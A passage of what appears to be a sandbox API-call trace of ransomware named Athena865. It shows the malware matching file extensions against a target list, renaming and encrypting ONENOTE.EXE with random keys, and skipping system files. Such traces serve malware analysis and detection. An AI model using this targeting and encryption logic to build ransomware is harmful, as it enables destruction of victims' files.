(lpString1="E.EXE", lpString2="accdw") returned 1 [0081.489] lstrlenW (lpString="accft") returned 5 [0081.489] lstrcmpiW (lpString1="E.EXE", lpString2="accft") returned 1 [0081.489] lstrlenW (lpString="adb") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0081.490] lstrlenW (lpString="adb") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0081.490] lstrlenW (lpString="ade") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0081.490] lstrlenW (lpString="adf") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0081.490] lstrlenW (lpString="adn") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0081.490] lstrlenW (lpString="adp") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0081.490] lstrlenW (lpString="alf") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0081.490] lstrlenW (lpString="ask") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0081.490] lstrlenW (lpString="btr") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0081.490] lstrlenW (lpString="cat") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0081.490] lstrlenW (lpString="cdb") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0081.490] lstrlenW (lpString="ckp") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0081.490] lstrlenW (lpString="cma") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0081.490] lstrlenW (lpString="cpd") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0081.490] lstrlenW (lpString="dacpac") returned 6 [0081.490] lstrcmpiW (lpString1="TE.EXE", lpString2="dacpac") returned 1 [0081.490] lstrlenW (lpString="dad") returned 3 [0081.490] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0081.490] lstrlenW (lpString="dadiagrams") returned 10 [0081.490] lstrcmpiW (lpString1="NENOTE.EXE", lpString2="dadiagrams") returned 1 [0081.490] lstrlenW (lpString="daschema") returned 8 [0081.491] lstrcmpiW (lpString1="NOTE.EXE", lpString2="daschema") returned 1 [0081.491] lstrlenW (lpString="db-journal") returned 10 [0081.491] lstrcmpiW (lpString1="NENOTE.EXE", lpString2="db-journal") returned 1 [0081.491] lstrlenW (lpString="db-shm") returned 6 [0081.491] lstrcmpiW (lpString1="TE.EXE", lpString2="db-shm") returned 1 [0081.491] lstrlenW (lpString="db-wal") returned 6 [0081.491] lstrcmpiW (lpString1="TE.EXE", lpString2="db-wal") returned 1 [0081.491] lstrlenW (lpString="dbc") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0081.491] lstrlenW (lpString="dbs") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0081.491] lstrlenW (lpString="dbt") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0081.491] lstrlenW (lpString="dbv") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0081.491] lstrlenW (lpString="dbx") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0081.491] lstrlenW (lpString="dcb") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0081.491] lstrlenW (lpString="dct") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0081.491] lstrlenW (lpString="dcx") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0081.491] lstrlenW (lpString="ddl") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0081.491] lstrlenW (lpString="dlis") returned 4 [0081.491] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0081.491] lstrlenW (lpString="dp1") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0081.491] lstrlenW (lpString="dqy") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0081.491] lstrlenW (lpString="dsk") returned 3 [0081.491] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0081.492] lstrlenW (lpString="dsn") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0081.492] lstrlenW (lpString="dtsx") returned 4 [0081.492] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0081.492] lstrlenW (lpString="dxl") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0081.492] lstrlenW (lpString="eco") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0081.492] lstrlenW (lpString="ecx") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0081.492] lstrlenW (lpString="edb") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0081.492] lstrlenW (lpString="epim") returned 4 [0081.492] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0081.492] lstrlenW (lpString="fcd") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0081.492] lstrlenW (lpString="fdb") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0081.492] lstrlenW (lpString="fic") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0081.492] lstrlenW (lpString="flexolibrary") returned 12 [0081.492] lstrlenW (lpString="fm5") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0081.492] lstrlenW (lpString="fmp") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0081.492] lstrlenW (lpString="fmp12") returned 5 [0081.492] lstrcmpiW (lpString1="E.EXE", lpString2="fmp12") returned -1 [0081.492] lstrlenW (lpString="fmpsl") returned 5 [0081.492] lstrcmpiW (lpString1="E.EXE", lpString2="fmpsl") returned -1 [0081.492] lstrlenW (lpString="fol") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0081.492] lstrlenW (lpString="fp3") returned 3 [0081.492] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0081.493] lstrlenW (lpString="fp4") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0081.493] lstrlenW (lpString="fp5") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0081.493] lstrlenW (lpString="fp7") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0081.493] lstrlenW (lpString="fpt") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0081.493] lstrlenW (lpString="frm") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0081.493] lstrlenW (lpString="gdb") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0081.493] lstrlenW (lpString="gdb") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0081.493] lstrlenW (lpString="grdb") returned 4 [0081.493] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0081.493] lstrlenW (lpString="gwi") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0081.493] lstrlenW (lpString="hdb") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0081.493] lstrlenW (lpString="his") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0081.493] lstrlenW (lpString="ib") returned 2 [0081.493] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0081.493] lstrlenW (lpString="idb") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0081.493] lstrlenW (lpString="ihx") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0081.493] lstrlenW (lpString="itdb") returned 4 [0081.493] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0081.493] lstrlenW (lpString="itw") returned 3 [0081.493] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0081.493] lstrlenW (lpString="jet") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0081.494] lstrlenW (lpString="jtx") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0081.494] lstrlenW (lpString="kdb") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0081.494] lstrlenW (lpString="kexi") returned 4 [0081.494] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0081.494] lstrlenW (lpString="kexic") returned 5 [0081.494] lstrcmpiW (lpString1="E.EXE", lpString2="kexic") returned -1 [0081.494] lstrlenW (lpString="kexis") returned 5 [0081.494] lstrcmpiW (lpString1="E.EXE", lpString2="kexis") returned -1 [0081.494] lstrlenW (lpString="lgc") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0081.494] lstrlenW (lpString="lwx") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0081.494] lstrlenW (lpString="maf") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0081.494] lstrlenW (lpString="maq") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0081.494] lstrlenW (lpString="mar") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0081.494] lstrlenW (lpString="marshal") returned 7 [0081.494] lstrcmpiW (lpString1="OTE.EXE", lpString2="marshal") returned 1 [0081.494] lstrlenW (lpString="mas") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0081.494] lstrlenW (lpString="mav") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0081.494] lstrlenW (lpString="maw") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0081.494] lstrlenW (lpString="mdbhtml") returned 7 [0081.494] lstrcmpiW (lpString1="OTE.EXE", lpString2="mdbhtml") returned 1 [0081.494] lstrlenW (lpString="mdn") returned 3 [0081.494] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0081.495] lstrlenW (lpString="mdt") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0081.495] lstrlenW (lpString="mfd") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0081.495] lstrlenW (lpString="mpd") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0081.495] lstrlenW (lpString="mrg") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0081.495] lstrlenW (lpString="mud") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0081.495] lstrlenW (lpString="mwb") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0081.495] lstrlenW (lpString="myd") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0081.495] lstrlenW (lpString="ndf") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0081.495] lstrlenW (lpString="nnt") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0081.495] lstrlenW (lpString="nrmlib") returned 6 [0081.495] lstrcmpiW (lpString1="TE.EXE", lpString2="nrmlib") returned 1 [0081.495] lstrlenW (lpString="ns2") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0081.495] lstrlenW (lpString="ns3") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0081.495] lstrlenW (lpString="ns4") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0081.495] lstrlenW (lpString="nsf") returned 3 [0081.495] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0081.495] lstrlenW (lpString="nv") returned 2 [0081.495] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0081.495] lstrlenW (lpString="nv2") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0081.496] lstrlenW (lpString="nwdb") returned 4 [0081.496] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0081.496] lstrlenW (lpString="nyf") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0081.496] lstrlenW (lpString="odb") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0081.496] lstrlenW (lpString="odb") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0081.496] lstrlenW (lpString="oqy") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0081.496] lstrlenW (lpString="ora") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0081.496] lstrlenW (lpString="orx") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0081.496] lstrlenW (lpString="owc") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0081.496] lstrlenW (lpString="p96") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0081.496] lstrlenW (lpString="p97") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0081.496] lstrlenW (lpString="pan") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0081.496] lstrlenW (lpString="pdb") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0081.496] lstrlenW (lpString="pdm") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0081.496] lstrlenW (lpString="pnz") returned 3 [0081.496] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0081.497] lstrlenW (lpString="qry") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0081.497] lstrlenW (lpString="qvd") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0081.497] lstrlenW (lpString="rbf") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0081.497] lstrlenW (lpString="rctd") returned 4 [0081.497] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0081.497] lstrlenW (lpString="rod") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0081.497] lstrlenW (lpString="rodx") returned 4 [0081.497] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0081.497] lstrlenW (lpString="rpd") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0081.497] lstrlenW (lpString="rsd") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0081.497] lstrlenW (lpString="sas7bdat") returned 8 [0081.497] lstrcmpiW (lpString1="NOTE.EXE", lpString2="sas7bdat") returned -1 [0081.497] lstrlenW (lpString="sbf") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0081.497] lstrlenW (lpString="scx") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0081.497] lstrlenW (lpString="sdb") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0081.497] lstrlenW (lpString="sdc") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0081.497] lstrlenW (lpString="sdf") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0081.497] lstrlenW (lpString="sis") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0081.497] lstrlenW (lpString="spq") returned 3 [0081.497] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0081.497] lstrlenW (lpString="te") returned 2 [0081.498] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0081.498] lstrlenW (lpString="teacher") returned 7 [0081.498] lstrcmpiW (lpString1="OTE.EXE", lpString2="teacher") returned -1 [0081.498] lstrlenW (lpString="tmd") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0081.498] lstrlenW (lpString="tps") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0081.498] lstrlenW (lpString="trc") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0081.498] lstrlenW (lpString="trc") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0081.498] lstrlenW (lpString="trm") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0081.498] lstrlenW (lpString="udb") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0081.498] lstrlenW (lpString="udl") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0081.498] lstrlenW (lpString="usr") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0081.498] lstrlenW (lpString="v12") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0081.498] lstrlenW (lpString="vis") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0081.498] lstrlenW (lpString="vpd") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0081.498] lstrlenW (lpString="vvv") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0081.498] lstrlenW (lpString="wdb") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0081.498] lstrlenW (lpString="wmdb") returned 4 [0081.498] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0081.498] lstrlenW (lpString="wrk") returned 3 [0081.498] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0081.498] lstrlenW (lpString="xdb") returned 3 [0081.499] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0081.499] lstrlenW (lpString="xld") returned 3 [0081.499] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0081.499] lstrlenW (lpString="xmlff") returned 5 [0081.499] lstrcmpiW (lpString1="E.EXE", lpString2="xmlff") returned -1 [0081.499] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE.Athena865") returned 64 [0081.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe.athena865"), dwFlags=0x1) returned 1 [0081.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0081.500] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2131296) returned 1 [0081.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.500] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.501] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.501] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.501] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x208860, lpName=0x0) returned 0x154 [0081.502] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x8860) returned 0x100000 [0081.505] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0081.590] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0081.607] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.608] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.608] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.609] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0081.609] CloseHandle (hObject=0x154) returned 1 [0081.609] CloseHandle (hObject=0x17c) returned 1 [0081.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.618] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde807b00, ftCreationTime.dwHighDateTime=0x1ca1b0c, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde807b00, ftLastWriteTime.dwHighDateTime=0x1ca1b0c, nFileSizeHigh=0x0, nFileSizeLow=0x138f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTEIRM.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2=".") returned 1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="..") returned 1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="windows") returned -1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="bootmgr") returned 1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="temp") returned -1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="pagefile.sys") returned -1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="boot") returned 1 [0081.618] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="ids.txt") returned 1 [0081.619] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="ntuser.dat") returned 1 [0081.619] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="perflogs") returned -1 [0081.619] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2="MSBuild") returned 1 [0081.619] lstrlenW (lpString="ONENOTEIRM.XML") returned 14 [0081.619] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONENOTEIRM.XML" | out: lpString1="ONENOTEIRM.XML") returned="ONENOTEIRM.XML" [0081.619] lstrlenW (lpString="ONENOTEIRM.XML") returned 14 [0081.619] lstrlenW (lpString="Athena865") returned 9 [0081.619] lstrcmpiW (lpString1="TEIRM.XML", lpString2="Athena865") returned 1 [0081.619] lstrlenW (lpString=".dll") returned 4 [0081.619] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2=".dll") returned 1 [0081.619] lstrlenW (lpString=".lnk") returned 4 [0081.619] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2=".lnk") returned 1 [0081.619] lstrlenW (lpString=".ini") returned 4 [0081.619] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2=".ini") returned 1 [0081.619] lstrlenW (lpString=".sys") returned 4 [0081.619] lstrcmpiW (lpString1="ONENOTEIRM.XML", lpString2=".sys") returned 1 [0081.619] lstrlenW (lpString="ONENOTEIRM.XML") returned 14 [0081.619] lstrlenW (lpString="bak") returned 3 [0081.619] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0081.619] lstrlenW (lpString="ba_") returned 3 [0081.619] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0081.619] lstrlenW (lpString="dbb") returned 3 [0081.619] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0081.619] lstrlenW (lpString="vmdk") returned 4 [0081.619] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0081.619] lstrlenW (lpString="rar") returned 3 [0081.619] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0081.619] lstrlenW (lpString="zip") returned 3 [0081.619] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0081.619] lstrlenW (lpString="tgz") returned 3 [0081.619] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0081.619] lstrlenW (lpString="vbox") returned 4 [0081.620] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0081.620] lstrlenW (lpString="vdi") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0081.620] lstrlenW (lpString="vhd") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0081.620] lstrlenW (lpString="vhdx") returned 4 [0081.620] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0081.620] lstrlenW (lpString="avhd") returned 4 [0081.620] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0081.620] lstrlenW (lpString="db") returned 2 [0081.620] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0081.620] lstrlenW (lpString="db2") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0081.620] lstrlenW (lpString="db3") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0081.620] lstrlenW (lpString="dbf") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0081.620] lstrlenW (lpString="mdf") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0081.620] lstrlenW (lpString="mdb") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0081.620] lstrlenW (lpString="sql") returned 3 [0081.620] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0081.620] lstrlenW (lpString="sqlite") returned 6 [0081.620] lstrcmpiW (lpString1="RM.XML", lpString2="sqlite") returned -1 [0081.620] lstrlenW (lpString="sqlite3") returned 7 [0081.620] lstrcmpiW (lpString1="IRM.XML", lpString2="sqlite3") returned -1 [0081.620] lstrlenW (lpString="sqlitedb") returned 8 [0081.620] lstrcmpiW (lpString1="EIRM.XML", lpString2="sqlitedb") returned -1 [0081.620] lstrlenW (lpString="xml") returned 3 [0081.620] lstrcmpiW (lpString1="XML", 